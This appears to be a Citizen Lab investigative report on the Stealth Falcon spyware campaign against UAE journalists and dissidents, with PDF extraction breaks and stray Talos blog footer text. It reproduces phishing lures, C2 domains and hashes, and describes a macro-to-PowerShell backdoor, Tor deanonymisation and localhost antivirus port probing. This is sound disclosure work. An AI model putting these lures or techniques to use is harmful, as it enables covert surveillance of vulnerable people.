+CISCO BLOG +Cisco Digital Ceiling: Enhanced Learning through Technology and Digitization +SNORT BLOG +Snort Subscriber Rule Set Update for 04/08/2016 +CLAMAV + BLOG +ClamAV Community Signature contest winner for March, 2016 +Software +Community +Vulnerability Reports +Additional Resources +Microsoft to SID Mapping Archive +Shared Object Rule Generator +IP Blacklist Download +AWBO Exercises +About Talos +Join Our Team +Contact +Blog +CONNECT WITH US +http://blog.talosintel.com/2016/01/haystack.html +9/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack + 2015 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here. +http://blog.talosintel.com/2016/01/haystack.html +10/10 +Keep Calm and (Don't) Enable Macros: A New Threat Actor Targets UAE +Dissidents +May 29, 2016 +Categories: Bill Marczak, John Scott-Railton, Reports and Brie +ngs, Research News +Authors: Bill Marczak, John Scott-Railton +1. Executive Summary +This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth +Falcon. The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents. +We discovered this campaign when an individual purporting to be from an apparently +ctitious organization called "The +Right to Fight" contacted Rori Donaghy. Donaghy, a UK-based journalist and founder of the Emirates Center for Human +Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel. +Donaghy has written critically of the United Arab Emirates (UAE) government in the past,1 and had recently published a +series of articles based on leaked emails involving members of the UAE government.2 +Circumstantial evidence suggests a link between Stealth Falcon and the UAE government. We traced digital artifacts used in +this campaign to links sent from an activist's Twitter account in December 2012, a period when it appears to have been under +government control. We also identi +ed other bait content employed by this threat actor. We found 31 public tweets sent by +Stealth Falcon, 30 of which were directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to the +UAE, based on their pro +le information (e.g., photos, "UAE" in account name, location), and at least six targets appeared to +be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to +their Twitter activity. +The attack on Donaghy - and the Twitter attacks - involved a malicious URL shortening site. When a user clicks on a URL +shortened by Stealth Falcon operators, the site pro +les the software on a user's computer, perhaps for future exploitation, +before redirecting the user to a benign website containing bait content. We queried the URL shortener with every possible +short URL, and identi +ed 402 instances of bait content which we believe were sent by Stealth Falcon, 73% of which +obviously referenced UAE issues. Of these URLs, only the one sent to Donaghy de +nitively contained spyware. However, +we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting +broader use of the spyware, perhaps by the same or other operators. +Figure 1: Tag cloud of bait content topics used by Stealth Falcon showing a strong emphasis on political topics and +narratives critical of the UAE government +2. Background +Rori Donaghy3 is a London-based journalist who currently works for UK news organization Middle East Eye, a website that +covers news in the Middle East.4 Middle East Eye has recently published a series of articles about UAE foreign policy, based +on leaked emails involving members of the UAE government. Previously, Donaghy led the Emirates Center for Human +Rights,5 an organization he founded to "promote the defence of human rights in the United Arab Emirates through building +strong relationships with the media, parliaments and other relevant organisations outside the UAE".6 +2.1. Political and Human Rights Situation in the UAE +In its most recent (2015) Freedom in the World ranking, Freedom House classi +ed the UAE as "not free," and noted that the +UAE continues to "suppress dissent".7 Human Rights Watch stated in its most recent (2016) country report, that the UAE has +"continued to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities".8 Amnesty +International says that UAE courts have "accepted evidence allegedly obtained through torture".9 +Speci +cally in the online realm, there is evidence that the UAE government has previously conducted malware attacks against +civil society. At least three dissidents10 including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted +in 2012 with Hacking Team spyware11 by a Hacking Team customer in the UAE, apparently operating under the auspices of +the of +ce of Sheikh Tahnoon bin Zayed al-Nahyan,12 a son of the founder of the UAE, and now the UAE Deputy National +Security Advisor.13 The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices.14 +Figure 2: Diagram of Stealth Falcon's known Targets, Fake Personas, and campaign Artefacts, along with relevant +sections of the report. The document paints a picture of a large-scale campaign with a focus on critics of the UAE +Government +3. The November 2015 Attack: An "Invitation" +This section describes an email attack against journalist Rori Donaghy. The operators used a Microsoft Word macro that +installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine. +3.1 Initial Attack Email +In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a +panel of human rights experts: +From: the_right_to_ +ght@openmailbox.org +Subject: Current Situation of Human Rights in the Middle East +Mr. Donaghy, +We are currently organizing a panel of experts on Human Rights in the Middle East. +We would like to formally invite you to apply to be a member of the panel by responding to this email. +You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East. +http://aax.me/d0dde +Thank you. +We look forward to hearing back from you, +Human Rights: The Right to Fight +Donaghy was suspicious of the email, and forwarded it to us for analysis. We found that the link in the email +(http://aax.me/d0dde) loaded a page containing a redirect to the website of Al Jazeera. Before completing the redirect, it +invoked JavaScript to pro +le the target's computer. We describe the pro +ling in detail in Section 3.1-3.3 below. +3.2 Communication with the Operator +On our instruction, Donaghy responded to the email, asking for further information. The operators responded with the +following message: +From: the_right_to_ +ght@openmailbox.org +Subject: RE: Current Situation of Human Rights in the Middle East +Mr. Donaghy, +Thank you for getting back to us. We are very interested in you joining our panel. +The information you requested is in the attached document. +In order to protect the content of the attachment we had to add macro enabled security. +Please enable macros in order to read the provided information about our organization. +We hope you will consider joining us. +Thank you. +We look forward to hearing back from you, +Human Rights: The Right to Fight +By chance, the attachment was identi +ed as malicious and blocked by a program running in Donaghy's email account. We +instructed him to follow up and request that the operators forward the attachment via another method. Donaghy received the +following reply: +From: the_right_to_ +ght@openmailbox.org +Subject: RE: Current Situation of Human Rights in the Middle East +Mr. Donaghy, +We apologize for having problems with our attachment. +Please follow this link to download our organizational information. +http://aax.me/a6faa +The link has been password protected. The password is: right2 +In order to protect the content of the attachment we also had to add macro enabled security. +Please enable macros in order to read the provided information about our organization. +We hope you will consider joining us. +Thank you. +We look forward to hearing back from you, +Human Rights: The Right to Fight +This second link (http://aax.me/a6faa) redirects to the following URL using an HTTP 302 redirect: +https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate +This is a password-protected link to a +le shared on an ownCloud15 instance. We obtained this +le, and found it to be a +Microsoft Word document. +3.3 The Malicious Document +The document is: +Filename: +MD5: +SHA1: +SHA256: +right2fight.docm +80e8ef78b9e28015cde4205aaa65da97 +f25466e4820404c817eaf75818b7177891735886 +5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f +When opened, the target is greeted with the following image, purporting to be a message from "proofpoint," a legitimate +provider of security solutions for Of +ce 365.16 The image claims that "This Document Is Secured" and requests that the user +"Please enable macros to continue." +Figure 3: Fake Proofpoint image in the malicious document sent to Donaghy +If the target enables macros, they are presented with the following document: +Figure 4: Document that Donaghy would have seen, had he enabled macros +The document purports to be from an organization called "The Right To Fight," and asks the target Donaghy to open the link +in the original email he received (the email containing the pro +ling URL). We believe that "The Right To Fight" is a +ctitious +organization, as their logo appears to be copied from an exhibition about "African American Experiences in WWII".17 +Further, "The Right to Fight" has no discernable web presence. +Figure 5: Logo from exhibition about African American experiences in WWII. +3.3.1 Pro +ling +The document attempts to execute code on the recipient's computer, using a macro. The macro passes a Base64-encoded +command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and +attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One +PowerShell Command). +3.3.2 Communication & Obtaining a Shell +Gathered information is returned to http://adhostingcache.com/ehhe/eh4g4/adcache.txt, and the server's response is +executed as a PowerShell command. At the time, adhostingcache.com resolved to 95.215.44.37. The domain was +apparently deleted on November 30th 2015 (Donaghy received the malicious Word Document on November 24th 2015). A +new domain, adhostingcaches.com, was registered on December 3rd, which points to the same IP address. The deletion of +adhostingcache.com may re +ect operator suspicion that the +le received by Donaghy had been sent to security researchers. +The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell +command to disk as IEWebCache.vbs, and creates a scheduled task entitled "IE Web Cache" that executes the +le hourly +(full script available in Appendix B: Stage Two PowerShell Command). +IEWebCache.vbs runs a Base64-encoded PowerShell command, which periodically POSTs a unique identi +er to +https://incapsulawebcache.com/cache/cache.nfo (via HTTPS without verifying the server certi +cate, and with a hardcoded +user-agent header matching Internet Explorer 10.6). The script executes server responses as PowerShell commands, +responding back to the server with the exit status of, output of, or any exceptions generated by the commands. +This gives the operator control over the victim's computer, and allows the operator to install additional spyware or perform +other activities. All commands and responses are encrypted using RC4 with a hardcoded key, and the encrypted message is +xed with a hardcoded value. +Despite some similarities in functionality to the Empire backdoor,18 we were unable to identify any shared code, and we +suspect that the backdoor is custom-made. +3.4. Technical Analysis: aax.me Browser Pro +ling +While aax.me has a public interface where anyone may shorten a link, aax.me only conducts browser pro +ling of individuals +who click on links that are specially shortened by Stealth Falcon operators. +In November 2015, when we accessed the link in the second email that Donaghy received, http://aax.me/a6faa, we found +that it redirected directly to https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate via an HTTP +302 redirect. When we accessed the link in the +rst email that Donaghy received, http://aax.me/d0dde, the server responded +with the following page: +



Loading the +website:
http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights151103070038237.html.
This may take a few seconds.
+The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds.19 However, the URL is incorrect: the +last character of the +lename should be a "1" instead of a "7". Therefore, an Al Jazeera 404 page is returned instead of the oped. It is possible that the use of "7" instead of "1" represents a transcription error on the part of the operators. When we +accessed this same aax.me URL in March 2016, it redirected directly to the Al Jazeera URL (with typo) via an HTTP 302 +redirect. +The iframe, http://aax.me/redirect.php, reloads itself with a parameter "inFr" in its query string, to indicate whether the page +has been opened up inside a frame. + +If the page has not been opened up inside a frame (inFr=0), then a blank page is returned. If the page is opened inside a frame +(inFr=1), as is the case here, then the following page is returned (we ommitted the PHPSESSID value): +
+We examined the referenced JavaScript +le, http://aax.me/redirect.js. The +le is designed to pro +le a user's system, perhaps +to gather intelligence about potentially exploitable vulnerabilities. The +le has apparently not been updated since 7 May +2013,20 rendering some of the probing obsolete. We enclose the +le's full contents in Appendix C: JavaScript Pro +ling +File. The pro +ling performs the following actions: +For Internet Explorer, it attempts to create several instances of ActiveXObject to get the versions of Flash, Shockwave, +Java, RealPlayer, Windows Media Player, and Microsoft Of +ce (classi +ed as either 2003, 2007, or 2010). +For non-Internet Explorer browsers, it attempts to get a list of enabled plugins from navigator.mimeTypes. +For all browsers, it captures the user agent, whether cookies are enabled, the OS, the size of the browser window, and +the timezone. It classi +es browsers into different versions, denoted by letters, based on the existence and behavior of +certain JavaScript methods. +The script attempts to exploit an information leak in older versions of Tor Browser. We explore the technique used in +Section 3.5. +For Windows browsers (except Opera, and versions of Internet Explorer before IE9), it sends a series of +XMLHttpRequests to 127.0.0.1, which we believe are designed to deduce if the computer is running any one of several +speci +c antivirus programs. The code for this appears to be borrowed from the JS-Recon port scanning tool.21 The +creator of JS-Recon presented the tool at BlackHat Abu Dhabi in 2010.22 We explore such techniques in more detail in +Section 3.6. +We were unfamiliar with the website aax.me, so we investigated it further. We found that the main page of aax.me purported +to be a public URL shortening service, powered by YOURLS,23 an open source PHP framework allowing anyone to set up +their own URL shortening service. We are unable to ascertain whether the site actually uses any YOURLS code. We also +noted that the homepage contains a typo ("Shortend [sic] URL"). +Figure 6: Homepage of aax.me +We shortened a URL using the homepage, but found that clicking on the shortened URL did not trigger the loading of the +intermediate page, http://aax.me/redirect.php. We also did not +nd the code for redirect.php or redirect.js in the public +code repository for YOURLS.24 Thus, we deduced that this code was likely specially written by the operators, and the link +sent to Donaghy was likely created by someone with administrator access to aax.me. +3.5. Technical Analysis: aax.me Tor Deanonymization Attempt +The aax.me site appears to attempt to deanonymize users of Tor Browser. While the technique the operators used was out-ofdate at the time we observed the attack, the attempted Tor deanonymization speaks to their motivations and potential targets. +The script +rst detects Tor Browsers by checking whether navigator.buildID is set to zero (all testing was conducted on +English, Windows builds of Tor Browser). Versions of Tor Browser before 2.3.25-12 (released on 13 August 2013) had their +buildID set to zero. This behavior was originally introduced in TorButton,25 in support of the goal of making Tor users +appear homogenous.26 Current Tor Browser versions have navigator.buildID set to a different distinctive value, +20000101000000. +When the script detects a Tor Browser, it attempts to deduce the version of Tor Browser by checking for the existence and +behavior of certain JavaScript methods. Once a browser is determined to be older than a certain version of Tor Browser, the +script exploits a now- +xed bug to get the disk path of the browser installation.27 The disk path may contain the target's +username, which may include the target's real name. +The bug in Tor Browser was +rst disclosed at Defcon 17, which took place in August 2009.28 The bug was +rst +xed on on +25 May 2012 in Tor Browser release 2.2.35-13.29 The bug was, however, later reintroduced into Tor Browser on 18 +December 2013 with the release of Tor Browser 3.5, and subsequently +xed again in Tor Browser 3.6 on 29 April 2014.30 +However, unfortunately for the operators, they failed to update their pro +ling script to re +ect Tor Browser's +navigator.buildID change (before the bug was reintroduced). Thus, the pro +ling script did not detect Tor Browsers with the +reintroduced bug as Tor Browsers, so it did not try to exploit them. Even if it had been updated to re +ect the +navigator.buildID change, the version check in the Tor Browser exploitation code would also have to be updated to select the +versions with the reintroduced bug for exploitation. +The version of Tor Browser (as determined by JavaScript checks) is submitted back to the server, along with the value of +navigator.oscpu (which reveals the version of the OS on which Tor Browser is running - e.g., the latest version of Tor Browser +on OSX El Capitan reveals: "Intel Mac OS X 10.11"), navigator.vendor (which appears blank in the latest Tor Browser), and +any data gathered about the installation path. +3.6. Technical Analysis: aax.me Antivirus Pro +ling +Interestingly, aax.me also attempts to determine the presence of various antivirus products on a target's machine. +We expand on the probing of antivirus programs which we observed on aax.me, as we were unfamiliar with this technique. +The technique appears to work on any modern version of Windows, with the latest versions of Chrome, Firefox, and IE/Edge +(though, the pro +ling script excludes IE versions less than IE9 from the pro +ling, using the vertical tab test).31 Speci +cally, +the script conducts GET XMLHttpRequests (one at a time) to 127.0.0.1/ on the following ports: 12993, 44080, 24961, 1110, +6646, 6999, 30606. The script stops conducting these requests if it +nds one request whose readyState is set to 4 less than +20ms after the request was initiated (200ms for port 6646), and submits the number of this port to the server. +The latest versions of Internet Explorer/Edge, Chrome, and Firefox (except Tor Browser) will all perform these +XMLHttpRequests to 127.0.0.1 on behalf of any site. Of course, the result of such a request will most likely not be available +to the script, due to the same-origin policy, and likely absence of a CORS32 header in the response. Indeed, the script does +not attempt to read the results of its requests. Rather, it leverages the fact that the web browser makes the status of the request +sent available, via the readyState parameter of an XMLHttpRequest instance (1 approximately represents TCP SYN sent, and +4 represents HTTP response received or TCP connection terminated). For a closed port, Windows will issue an RST/ACK for +each SYN sent. However, it appears that Windows' TCP stack will not consider an outgoing connection it is initiating to be +terminated until it has sent 3 SYNs, and received three corresponding RST/ACKs (or timeouts). +Figure 7: Three RST/ACKs required until Windows considers outgoing TCP connection terminated +When testing with a TCP connection from Windows to a remote host, we can clearly see that Windows transmits the second +SYN ~500ms after the +rst RST/ACK, and the third SYN ~500ms after the second RST/ACK. +Figure 8: Windows sends the next SYN 500ms after the latest RST/ACK +Thus, the readyState value for a request to a closed port on 127.0.0.1 will not be set equal to 4 until approximately 1000ms +after the request is issued. In summary, one can use this technique to distinguish between a closed port (readyState set to 4 at +around 1000ms), an open port (readyState set to 4 before 1000ms), and a +ltered port (readyState set to 4 long after +1000ms). +This script was apparently designed to detect the presence of certain components of Avast, Avira, ESET, Kaspersky, and +Trend Micro antivirus products. We were not able to determine which program the probing of port 24961 was designed to +detect. We veri +ed that the latest version of Avast can be detected by this script, as it opens TCP port 12993, which is +associated with its Mail Shield component for scanning email traf +c; port 6999 is opened by Trend Micro's tmproxy33 which +scans web and email traf +c; port 1110 is used by Kaspersky34 to scan web and email traf +c; it appears that Avira's Web +Protection component for scanning web traf +c used to open port 44080,35 though we observed it opening 44081 instead; port +30606 appears to have been used by ESET to scan web and email traf +c,36 but we did not observe this port open while testing +the latest version of ESET; port 6646 may be used by McAfee, though we did not test this.37 +The code for the port scanning appears to be adapted from the JS-Recon port scanning tool.38 JS-Recon is a generic tool that +enumerates all open ports on 127.0.0.1 in a range; it does not speci +cally target anti-virus programs. The scan_xhr and +check_ps_xhr functions in the aax.me pro +ling script are similar to the scan_ports_xhr and check_ps_xhr functions in JSRecon. The creator of JS-Recon seems to have +rst presented the tool at BlackHat Abu Dhabi in 2010.39 +Figure 9: Image from the author of JS-Recon showing how long WebSocket and XMLHttpRequest ("COR") connections +remain in their initial readyState on Windows.40 +Note that this technique can be generalized to any remote content timing side channel (e.g, the onerror event for an Image). +Additionally, one can identify the presence of an open port on 127.0.0.1 that speaks HTTP without using timing information, +and thus without the Windows TCP behavior assumption (e.g., by handling the onerror and oncomplete events of certain +types of link elements). +We are unsure whether the purpose of the antivirus pro +ling is to identify potentially exploitable antivirus software running +on a target's computer, or for evasion of antivirus products. In December 2015, Google Security discovered a critical +vulnerability in Avast's antivirus product, which involved a webpage sending HTTP requests to a port that Avast opens on +127.0.0.1. Google Security demonstrated that the vulnerability allowed ex +ltration of arbitrary +les from a victim's disk.41 In +January 2016, Google Security discovered a critical vulnerability in Trend Micro's antivirus product, which similarly involved +a web page sending HTTP requests to a port that Trend Micro opens on 127.0.0.1. Google Security demonstrated that the +vulnerability allowed arbitrary command execution. +4. The Case of the Fake Journalist +In the course of our investigation we scanned the e-mail of journalist Donaghy and found evidence that he had been contacted +by a +ctitious journalist, whom we linked to Stealth Falcon. +We scanned Donaghy's GMail account for any previous messages featuring links that redirected through aax.me. We +identi +ed the following message from December 2013, purporting to be from a UK journalist named Andrew Dwight: +From: andrew.dwight389@outlook.com +Subject: FW: Correspondence Request +Greetings Mr. Donaghy, +I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient. My name is Andrew Dwight and I am currently writing a +book about my experiences in the Middle East. My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything +but). I was hoping that I might correspond with you and reference some of your work, speci +cally this piece (http://goo.gl/60HAqJ), for the book. I'm quite impressed +with the way you articulate this complex issue for the masses, and hope to have a similar impact with my book. +Happy New Year, +Andrew +The link in the email, http://goo.gl/60HAqJ, redirects to http://aax.me/0b152, which, as of December 2015, redirected to a +2013 Huf +ngton Post blog post authored by Donaghy.42 We did not observe any redirect.php behavior with this link; as of +December 2015, the aax.me link directly served an HTTP 302 redirect to the Huf +ngton Post (we omitted the date header +below). However, it is possible that the link formerly exhibited redirect.php behavior: +HTTP/1.1 302 Moved Temporarily +Date: +Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g +X-Powered-By: PHP/5.2.6-1+lenny13 +Location: http://www.huffingtonpost.co.uk/rori-donaghy/uae-94_b_3549671.html +Vary: Accept-Encoding +Content-Type: text/html +We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in +the UK. Andrew responded several weeks later with the following: +From: andrew.dwight389@outlook.com +Subject: RE: Correspondence Request +Hello Rori, +Happy New Year! I apologize for the delay in getting back to you. I was on a ski holiday in upstate New York for the New Year and just returned to my current +accommodations in the city. I was due back sooner, but as you may know, the weather has not been agreeable here in the Eastern United States! +I am currently situated in the US. while I complete my book to be closer to my publisher and editor. The book focuses on the various guises used by Middle Eastern +countries to demonstrate that they are providing equal and fair treatment with concern to human rights. I am working with several organizations in identifying cases that +reveal their true lack of concern for liberty and personal freedoms. I'm using these cases as testimony about this under reported issue. Have you heard of a Swedish +organization named Al Karama? +There website: http://en.alkarama.org/index.php?option=com_content&view=article&id=1005&Itemid=74&slid=102 +I have spoken to one of their junior editors and I am hoping to obtain input from some of their sources as well. +This issue never gets any smaller does it? I hope that a few loud voices (and a well received book) can make a difference. +Cheers, +Andrew +While attempting to determine whether "Andrew Dwight" was a real person, we we found a Twitter pro +le, @Dwight389 for +the same persona, and that mentions the same address from which Donaghy received the email. +Figure 10: Andrew Dwight's Twitter pro +le, @Dwight389, mentioning the email address that corresponded with Donaghy +in 2013, andrew.dwight389@outlook.com +We found that this account messaged three UAE dissident accounts via Twitter mentions. While we were unable to establish +if @Dwight389 successfully attacked any of these individuals, we pro +le the targets below. +4.1. Another Target: Obaid Yousef Al-Zaabi +This section describes how the fake journalist persona contacted Obaid Yousef Al-Zaabi, a blogger who was arrested for +criticising the UAE. +Figure 11: @Dwight389 contacted @bukhaledobaid on 24 April 2013 +Obaid Yousef Al-Zaabi was arrested on 2 July 201343 for Tweeting about the UAE94 detainees (94 defendants prosecuted in a +mass trial on charges of attempting to overthrow the government)44 on his @bukhaledobaid account, which displays his real +name.45 He was released due to health problems a month later, but was arrested again on 12 December 2013,46 a day after +talking to CNN47 about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video48 about "youth +culture in Dubai".49 Al-Zaabi and Cassim were imprisoned in the same cellblock. Al-Zaabi was acquitted on 23 June 2014 +of all charges including "slander concerning the rulers of the UAE using phrases that lower their status, and accusing them of +oppression" and "disseminating ideas and news meant to mock and damage the reputation of a governmental institution," but, +according to information received from two UAE sources, Al-Zaabi is still imprisoned in the prisoners ward of a hospital. A +coalition of 13 human rights organizations including Amnesty International consider Al-Zaabi's ongoing detention to be +arbitrary, and without legal basis.50 Amnesty International reported that "a senior State Security Prosecution of +cial" told AlZaabi he would continue to be detained even if acquitted.51 +Al-Zaabi's brother, Dr. Ahmed Al-Zaabi, is one of the UAE94 detainees and is currently serving a 10 year prison sentence. +According to a report by the Gulf Center for Human Rights, Ahmed was tortured in prison: his +ngernails were pulled out, +and he was "beaten to the point he was left swollen, covered in bruises all over his body and with large amounts of blood in +his urine".52 +4.2. Another Target:Professor Abdullah Al-Shamsi +This section describes how the fake journalist persona contacted professor Abdullah Al-Shamsi, Vice Chancellor of the British +University in Dubai. +Figure 12: @Dwight389 sent a message on 9 May 2013 suggesting he had targeted @shamsiuae58 +Professor Abdullah Al-Shamsi (@shamsiuae58) is the Vice Chancellor of the British University in Dubai.53 He (Arabic +name: +)54 is signatory #79 (out of 133) to a +March 2011 petition to the UAE government55 for direct elections56 (UAE activist Ahmed Mansoor was arrested after +signing the same petition).57 Al-Shamsi's father ( +) was appointed to, and chaired the +rst sessions of, the Federal National Council (FNC), a legislative advisory council +that is now an elected body. He called for more powers to be given to the FNC.58 +4.3. Additional Targets: Qatari Citizens Sentenced to Prison +Figure 13: @Dwight389 contacted @northsniper on 7 November 2013 +In May 2015, +ve Qataris were sentenced (one present in the UAE to 10 years in prison, and four in absentia to life in prison), +for posting allegedly offensive pictures of the UAE Royal Family on three Twitter accounts and two Instagram accounts,59 +including @northsniper.60 At trial, the prosecution accused the +ve of being agents of Qatar's State Security, and posting the +allegedly offensive pictures as part of a "military mission" to "show that Emiratis had offended their own leaders".61 The +@northsniper account is currently suspended. One Instagram account allegedly used by defendants in this case (@9ip) is +still active, and still appears to display un +attering photoshopped images of the President, Crown Prince, and Founder of the +UAE.62 +5. Stealth Falcon's Widespread Targeting of UAE Figures +This section describes how we identi +ed additional Stealth Falcon victims and bait content, and traced Stealth Falcon's +spyware to additional C2 servers. +Given Stealh Falcon's use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of +aax.me links. The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently +active short URLs, and their corresponding long URLs. Our +ndings point to a UAE-focused operator, whose bait content +and targets are linked to the Emirates. Furthermore, we were able to connect this attack to case from December 2012, where +an anonymous UAE activist contacted us and claimed to have received a suspicious link from a Twitter account that was +purportedly under government control. +5.1. Public Targets and Links to Arrests +This section describes 24 Stealth Falcon Twitter targets we identi +ed on the basis of them receiving an aax.me link in a +Twitter mention. +We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me +shortened link. We were unable to get details about 17 of the accounts. Of the accounts we have been able to identify, +several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their +online activities. +The following table outlines these cases, and notes arrests. For completeness, the table includes the cases from Section 4.14.3: +Handle +Targeting +Related Arrests / +Convictions +Note +@omran83 +14 January 201263 +16 July 201264 +(arrested) +UAE94 prisoner; serving 7 years in prison.65 +@weldbudhabi +5 August 2012;66 +20 October 201267 +14 December 201268 +(arrested) +@intihakat +5 August 201269 +25 December 201370 +(convicted) +Qatari convicted in absentia; sentenced to 5 years in +prison. +@bukhaledobaid +24 April 201371 +(Sec 4.1) +2 July 2013;72 +12 December 201373 +(arrested) +Brother of UAE94 prisoner; acquitted of charges; +inde +nitely detained in prisoners ward of hospital. +@northsniper +(Sec 4.3) +7 November 201374 +18 May 201575 +(convicted) +Five Qataris convicted; sentences ranged from 10 +years to life in prison. +@71UAE +9 January 201276 +Last tweeted 1 July 2013, a day before arrest of +@bukhaledobaid. +@kh_oz +10 January 201277 +Likely son of @bukhaledobaid.78 +@shamsiuae58 +(Sec 4.2) +9 May 201379 +Signed 2011 pro-democracy petition that Ahmed +Mansoor was arrested after signing. +@newbedon +9 January 201280 +Donaghy describes the account as "ensur[ing that] +details of mistreatment [by security forces] are +readily available".81 +@bomsabih +9 January 201282 +Inactive since 8 October 2014. Owner claimed +liation with State Security Apparatus. +We list additional details in Appendix D: Public Stealth Falcon Tweets. +5.2. Ennumerating aax.me for Bait Content +This section describes how we probed every conceivable short URL on aax.me, and found 402 pieces of bait content that we +believe were sent by Stealth Falcon. +All of the public aax.me links we found, as well as the links sent to Donaghy, matched the regular expression /aax\.me\/[0-9af]{5}/. Assuming all links shortened via aax.me match this regular expression, there are only 165 (1,048,576) possible short +URLs. We sent a request to aax.me for each possible URL, and observed the returned page or redirect. We found 57 URLs +that exhibited the redirect.php pro +ling behavior, and 524 URLs that returned an HTTP 302 redirect to an expanded URL. +The other 1,047,995 aax.me links returned a HTTP 302 redirect to the aax.me homepage; we assume these short URLs were +unassigned to an expanded URL, as of the time of our scan. +We coded the long URLs where the URLs were still active, or where we could +nd an archived copy of, or some information +about, the URL. We were able to code 535 URLs, and failed to code 46 URLs as the corresponding websites were down, and +we could not +nd reliable information about what content the URLs contained. See Appendix E: Results of aax.me Scan for +details. We coded 133 URLs as "advertisement" (25% of all coded URLs), as they appeared to represent an advertisement for +a product. The vast majority of these advertisements seemed to be products typically marketed via spam (e.g., "dietary +supplement" or "green coffee"). We suspect that these links may have been shortened by spammers, as the aax.me URL +shortening page is pubilcly accessible and indexed by Google, and YOURLS advises that publicly accessible URL shorteners +will receive spam.83 All "advertisement" links were 302 redirects, and none were redirect.php links. This is consistent with +our observation that the aax.me public interface only permits visitors to shorten links using the 302 redirect method. +ltered out the short URLs classi +ed as "advertisement." There were 402 non-advertisement short URLs that we tagged. +We display a summary of the top ten tags below: +Number of Short URLs % of non-advertisement URLs +Torture +Security Forces +Denaturalization 46 +Isa bin Zayed +Rule of Law +Criticism +ABC News +Violations +Islam +We noted that a number of long URLs had multiple corresponding short URLs. We display the top ten long URLs below. +Long URL +Short Description +URLs +ABC News report featuring +video of Abu Dhabi Crown +Prince's brother, Sheikh Isa +bin Zayed al-Nahyan, +torturing an Afghani grain +salesman. +Personal website criticizing +rule of law and human rights +issues in the UAE, including +torture, slavery, and +imprisonment for debts. +Copied statement from the +Federation of Islamic +Organizations in Europe +(FIOE), criticizing the +UAE's denaturalization of +citizens. +https://www.a7rarelemarat.com/vb +Purported to be an +opposition web forum for +discussing Emirati issues, +and providing proxy tools. +The site is now down, so we +cannot inspect the speci +forum posting. +http://google.com +Google. +https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 +(see a7rarelemarat above) +http://www.youtube.com/watch?v=Xcc9Tdc_Hxg&feature=player_embedded#! +Video montage talking about +torture by UAE security +forces. +http://www.youtube.com/watch?v=F6NU4pc378k +http://mohaamoon.com/uae/17.htm +https://r7aluae2.wordpress.com/2012/01/09/ +http://www.youtube.com/watch? +v=izeSn9Am6us&list=UU2wwG6r1J_GRgXuMGi9m8FQ&index=1&feature=plcp +Video unavailable. +https://www.youtube.com/watch?feature=player_embedded&v=Q3aQpfyXSrg +Video published by Al Islah, +which appears to be a +montage of UAE political +detainees. +https://www.a7rarelemarat.com/vb/forumdisplay.php?f=3 +(see a7rarelemarat above) +5.3. A Connection to an Account Potentially Under UAE Government Control +This section describes a case from December 2012 where an Emirati activist said he received links connected to aax.me from +an account that may have been under UAE government control. +In December 2012, an author of this report was contacted by an Emirati activist, who reported that an account, +@WeldBudhabi, had sent him a link on 14 December 2012 via Twitter direct message that took him to a page on +a7rarelemarat.com. A report by BBC notes that UAE authorities on 14 December 2012 arrested an individual who they +believed to be associated with @WeldBudhabi, and that the account was "reportedly hacked by the authorities" on the same +day.84 The Emirati activist told us that he later contacted @WeldBudhabi, who reported that he did not send the link. +This link provides the strongest connection between Stealth Falcon and the UAE Authorities that we are aware of. +a7rarelemarat.com is a now-defunct website that purported to be an opposition web forum for discussing Emirati issues, and +providing proxy tools for "hiding from the thugs" (presumably a reference to the UAE State Security Apparatus). We found +four links involving aax.me posted by the site's Twitter account, @a7rarelemarat. We display two Tweets below, as the rest +of the Tweets had the same links: +Figure 14: @a7rarelemarat targeted @WeldBudhabi with a malicious link on 20 October 2012 +Twitter's API records the date of the tweet's creation: +Sun Oct 21 05:05:41 +0000 2012 +We also accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than two minutes prior +to the tweet: +2012-10-21T05:03:45.585+00:00 +The second tweet exhibited a similar pattern: +Figure 15: @a7rarelemarat publicly sent a malicious link on 2 October 2012 +Twitter's API records the date of the tweet's creation: +Wed Oct 03 06:54:33 +0000 2012 +We again accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than one minute prior +to the tweet: +2012-10-03T06:53:45.151+00:00 +The link redirects to https://www.a7rarelemarat.com/vb/showthread.php?p=3423#post3423 via http://aax.me/d910a. +The use of both goo.gl and aax.me in these cases suggests that the goo.gl link may have been designed to conceal the aax.me +domain. Also, the proximity in creation time between the Tweet and the goo.gl link suggests that the person who posted the +Tweet through @a7rarelemarat was likely the same person who created the goo.gl link. +We suspect that the 